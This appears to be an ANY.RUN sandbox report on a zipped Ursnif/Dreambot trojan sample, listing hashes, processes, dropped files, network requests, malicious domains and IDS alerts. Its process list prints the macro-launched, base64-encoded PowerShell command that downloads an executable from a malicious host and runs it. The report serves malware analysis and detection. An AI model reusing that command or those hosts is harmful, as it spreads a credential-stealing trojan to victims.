analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

SPAM2.zip

Full analysis: https://app.any.run/tasks/2ac0530c-4b63-45d5-b5ba-dfaa79987d50
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 13:32:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
macros
macros-on-open
gozi
ursnif
trojan
dreambot
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

50628F72F62F6BED820AB0E78CB0B8E3

SHA1:

0A87023D3E943CC5EA90F70A6D09F8BBA10BF1B2

SHA256:

DF3EB2AEF7A62BF2C8A506E808E3B92B9C4CA40B51E74C85AFE418BF61F0DEC1

SSDEEP:

24576:pbwQqeEuU5jvVv3T+CWyXyl+J3FqQxDAO/iOsQWFrI:+peOjvVL+RyXS4/hAQP3WRI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • udorm8.exe (PID: 1460)

    • URSNIF was detected

      • powershell.exe (PID: 1420)
      • IEXPLORE.EXE (PID: 2572)

    • Connects to CnC server

      • IEXPLORE.EXE (PID: 2572)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 1420)

    • Reads the machine GUID from the registry

      • WinRAR.exe (PID: 2872)
      • taskmgr.exe (PID: 2836)
      • powershell.exe (PID: 1420)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2872)

  • INFO

    • Creates files in the user directory

      • IEXPLORE.EXE (PID: 2572)
      • WINWORD.EXE (PID: 2524)

    • Changes internet zones settings

      • iexplore.exe (PID: 2944)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 2944)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 2524)
      • iexplore.exe (PID: 2944)

    • Reads internet explorer settings

      • IEXPLORE.EXE (PID: 2572)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2524)

    • Reads settings of System Certificates

      • iexplore.exe (PID: 2944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: udorm8.exe
ZipUncompressedSize: 1950720
ZipCompressedSize: 967307
ZipCRC: 0xa48d0e29
ZipModifyDate: 2019:03:22 14:26:09
ZipCompression: Deflated
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
7
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe winword.exe no specs #URSNIF powershell.exe udorm8.exe no specs taskmgr.exe no specs iexplore.exe #URSNIF iexplore.exe

Process information

PID
CMD
Path
Indicators
Parent process
2872"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\SPAM2.zip"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
2524"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\ursnif.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.5123.5000
1420powershell -e JABWAEEARwBBAEEARABaAD0AKAAnAGgAJwArACcAQQBBADQAdwBBACcAKwAnAEEAJwApADsAJABZAGMAUQBvAEEAQgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdABBAFUAUQBfAEMAbwA9ACgAJwBoAHQAdABwADoALwAvAHUAMQBhADIAegAnACsAJwBsAHoAZQB1ACcAKwAnAHkAYQAuACcAKwAnAGMAJwArACcAbwBtAHAAYQAnACsAJwBuAHkALwAnACsAJwBsAG8AcQA5ADEALwAxADAAJwArACcAeAAnACsAJwAuAHAAaABwAD8AbAA9ACcAKwAnAHUAZABvAHIAbQA4AC4AagBhAGQAJwApAC4AKAAnAFMAcAAnACsAJwBsAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAGgAWgBBAEEAVQBBAD0AKAAnAFgAUQAnACsAJwBHAEcAJwArACcAQQBaAFEAJwApADsAJABDAEQAbwBBAHcAQQBBAFgAIAA9ACAAKAAnADgAJwArACcAOAA4ACcAKQA7ACQAbgBRAEEAQQBvAEEAVQA9ACgAJwBQAFEAQQAnACsAJwB4ACcAKwAnAFoAQgBRACcAKQA7ACQAVwBaAEEAQQBEAEEAQQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBEAG8AQQB3AEEAQQBYACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAdgBCAGMARwBBAFUAIABpAG4AIAAkAHQAQQBVAFEAXwBDAG8AKQB7AHQAcgB5AHsAJABZAGMAUQBvAEEAQgAuACgAJwBEAG8AJwArACcAdwBuAGwAbwBhACcAKwAnAGQARgBpAGwAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAdgBCAGMARwBBAFUALAAgACQAVwBaAEEAQQBEAEEAQQApADsAJABXAEQAQQBDAEEAVQBBAD0AKAAnAHcAJwArACcAXwBBAGMAJwArACcAVQBEAEcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFcAWgBBAEEARABBAEEAKQAuACIAbABFAGAATgBgAEcAVABoACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewAuACgAJwBJAG4AdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACAAJABXAFoAQQBBAEQAQQBBADsAJABLAEIAQQBVAEQAWgBBAD0AKAAnAHAAUQAnACsAJwBBAEEAJwArACcARABDAEEAXwAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAcQBjAEEAQQBBAHcAPQAoACcAZgBBAEEAJwArACcAMQBBACcAKwAnAFEAQQBCACcAKQA7AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1460"C:\Users\admin\Desktop\udorm8.exe" C:\Users\admin\Desktop\udorm8.exe—explorer.exe
User:
admin
Company:
ColdLight
Integrity Level:
MEDIUM
Description:
Machineshould
Exit code:
575
Version:
8.2.58.85
2836"C:\Windows\system32\taskmgr.exe" /4C:\Windows\system32\taskmgr.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Task Manager
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2944"C:\Program Files\Internet Explorer\iexplore.exe" -EmbeddingC:\Program Files\Internet Explorer\iexplore.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
2572"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2944 CREDAT:267521 /prefetch:2C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Total events
2 505
Read events
1 862
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
7
Text files
6
Unknown types
4

Dropped files

PID
Process
Filename
Type
2872WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2872.7542\ursnif.doc —
MD5:—
SHA256:—
2524WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9D17.tmp.cvr —
MD5:—
SHA256:—
1420powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6LRIPSPD4D8I315IU6YB.temp —
MD5:—
SHA256:—
2944iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF0C30C4E11FEB2FAB.TMP —
MD5:—
SHA256:—
2944iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF9D2AC09494B7EC13.TMP —
MD5:—
SHA256:—
2944iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{1F167C4D-4CA7-11E9-9A2C-5254004AAD21}.dat —
MD5:—
SHA256:—
2524WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:2337A24BB997550132491CB74492EBB5
SHA256:498BE66AB58DA176BB3A44621340A70E44D64081028BFCDD1D0CA947005A7DC2
2524WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ursnif.LNKlnk
MD5:AB2A4D5C839E58BA8C6A73C176FB244B
SHA256:E39EECEFCCF2B4CE29134062E9622601D351C51B46B141DA288E2C612D92238D
1420powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1bb717.TMPbinary
MD5:F43CC4EB1A1A57BEFF0CA6A15E5FED71
SHA256:4A2283B3DCCC6BDBE07CA466FF12C73621F7072B0D1470BDBA1127226449567C
2944iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{1F167C4F-4CA7-11E9-9A2C-5254004AAD21}.datbinary
MD5:A1BA24BE03BD02031C2E40FD9010114A
SHA256:EE947DB4FFE4FCFB4FC92FA0A0210DFF038C8A1F560C54402614545EEBB55423
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
10
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2944
iexplore.exe
GET
200
152.199.19.161:443
https://r20swj13mr.microsoft.com/ieblocklist/v1/urlblocklist.bin
US
—
—
whitelisted
1420
powershell.exe
GET
404
80.87.197.176:80
http://u1a2zlzeuya.company/loq91/10x.php?l=udorm8.jad
RU
—
—
malicious
2944
iexplore.exe
GET
304
152.199.19.161:443
https://iecvlist.microsoft.com/ie11blocklist/1401746408/versionlistWin7.xml
US
—
—
whitelisted
2944
iexplore.exe
GET
200
152.199.19.161:443
https://iecvlist.microsoft.com/IE11/1479242656000/iecompatviewlist.xml
US
xml
363 Kb
whitelisted
2944
iexplore.exe
GET
200
152.199.19.161:443
https://r20swj13mr.microsoft.com/ieblocklist/v1/urlblockindex.bin
US
binary
16 b
whitelisted
2572
IEXPLORE.EXE
GET
200
185.220.35.235:80
http://khubert60ya.com/images/pDHq_2FzqEE/pPSJoD7lkfd_2B/SPUJu8SUk1tw0vWOwWCDi/f3g_2BsgJdNFWOKc/0HauvxymHSn9QWt/Q4KAFv8mabsSlRrIew/nBZGkrB64/Q0sI04MLXSov5lVxJFD7/OHf8yRcmaVfThMu93_2/BujROPigGrBaJQ/B.avi
unknown
binary
20 b
malicious
2944
iexplore.exe
GET
200
185.220.35.235:80
http://khubert60ya.com/favicon.ico
unknown
image
5.30 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2944
iexplore.exe
152.199.19.161:443
iecvlist.microsoft.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
2572
IEXPLORE.EXE
185.220.35.235:80
khubert60ya.com
—
—
malicious
1420
powershell.exe
80.87.197.176:80
u1a2zlzeuya.company
JSC ISPsystem
RU
suspicious
2944
iexplore.exe
185.220.35.235:80
khubert60ya.com
—
—
malicious

DNS requests

Domain
IP
Reputation
u1a2zlzeuya.company
  • 80.87.197.176
malicious
khubert60ya.com
  • 185.220.35.235
malicious
iecvlist.microsoft.com
  • 152.199.19.161
whitelisted
r20swj13mr.microsoft.com
  • 152.199.19.161
whitelisted

Threats

PID
Process
Class
Message
1420
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] MalDoc Requesting Ursnif Payload
2572
IEXPLORE.EXE
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
SPAM2.zip